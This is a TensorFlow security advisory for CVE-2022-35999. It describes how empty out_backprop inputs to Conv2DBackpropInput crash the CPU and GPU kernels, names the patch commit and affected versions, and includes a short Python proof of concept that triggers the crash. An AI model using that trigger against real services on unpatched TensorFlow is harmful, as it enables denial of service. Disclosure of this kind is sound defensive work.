Impact

When Conv2DBackpropInput receives empty out_backprop inputs (e.g. [3, 1, 0, 1]), the current CPU/GPU kernels CHECK fail (one with dnnl, the other with cudnn). This can be used to trigger a denial of service attack.

import tensorflow as tf
import numpy as np
input_sizes = [3, 1, 1, 2]
filter = np.ones([1, 3, 2, 3])
out_backprop = np.ones([3, 1, 0, 3])
strides = [1, 1, 2, 1]
padding = 'VALID'

tf.raw_ops.Conv2DBackpropInput(
   input_sizes = input_sizes,
   filter = filter,
   out_backprop = out_backprop,
   strides = strides,
   padding = padding
)

Patches

We have patched the issue in GitHub commit 27a65a43cf763897fecfa5cdb5cc653fc5dd0346.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Jingyi Shi.

References

• GHSA-37jf-mjv6-xfqw
• tensorflow/tensorflow@27a65a4
• https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
• https://nvd.nist.gov/vuln/detail/CVE-2022-35999